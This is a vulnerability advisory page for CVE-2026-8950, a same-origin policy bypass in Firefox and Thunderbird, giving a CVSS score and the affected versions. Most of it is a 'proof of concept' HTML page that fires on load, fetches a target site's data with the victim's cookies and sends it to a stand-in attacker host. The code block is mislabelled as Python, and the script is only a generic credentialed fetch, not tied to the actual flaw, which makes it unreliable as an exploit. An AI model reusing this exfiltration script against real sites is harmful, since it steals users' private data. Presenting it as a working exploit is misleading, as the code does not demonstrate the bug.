Same-origin policy bypass in the Networking: HTTP component. This vulnerability was fixed in Firefox 151, Firefox ESR 140.11, Thunderbird 151, and Thunderbird 140.11.
CVSS Details
CVSS Score
9.3
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Firefox ESR < 140.11
Thunderbird < 151
Thunderbird < 140.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
// Conceptual Proof of Concept for CVE-2026-8950
// This script demonstrates how a Same-Origin Policy bypass might be exploited.
// It assumes the browser fails to enforce SOP on specific HTTP requests.
-->
<html>
<head><title>CVE-2026-8950 PoC</title></head>
<body>
<script>
async function attack() {
const targetUrl = 'https://target-site.com/secret-api/data';
try {
// Attempt to fetch sensitive data from a different origin
// In a vulnerable browser, this request succeeds despite SOP
let response = await fetch(targetUrl, {
method: 'GET',
credentials: 'include' // Include cookies
});
if (response.ok) {
let data = await response.text();
console.log('[+] Exploit Success! Leaked data:');
console.log(data);
// Exfiltrate data to attacker's server
fetch('https://attacker-server.com/collect?d=' + encodeURIComponent(data));
} else {
console.log('[-] Request failed: ' + response.status);
}
} catch (e) {
console.log('[-] Error: ' + e.message);
}
}
// Auto trigger on load
window.onload = attack;
</script>
<p>Check console for results.</p>
</body>
</html>